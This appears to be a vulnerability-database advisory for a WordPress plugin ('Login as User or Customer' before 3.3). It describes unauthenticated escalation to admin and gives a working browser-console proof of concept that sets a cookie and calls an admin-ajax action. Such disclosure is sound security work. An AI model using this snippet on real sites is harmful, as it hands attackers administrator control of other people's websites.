Lucene search

K
wpexploitDavidWPEX-ID:286D972D-7BDA-455C-A226-FD9CE5F925BD
HistoryDec 27, 2022 - 12:00 a.m.

Login as User or Customer < 3.3 - Unauthenticated Privilege Escalation to Admin

2022-12-2700:00:00
David
224
login vulnerability
unauthenticated user
privilege escalation
web browser
developer console
cookie hijacking
wordpress

0.083 Low

EPSS

Percentile

94.4%

The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.

Run the below command in the developer console of the web browser while being on the blog as an unauthenticated user, then reload the page to be logged in as the user with ID:

document.cookie = "loginas_old_user_id=1";
fetch("/wp-admin/admin-ajax.php?action=loginas_return_admin", {
  "method": "GET",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

0.083 Low

EPSS

Percentile

94.4%

Related for WPEX-ID:286D972D-7BDA-455C-A226-FD9CE5F925BD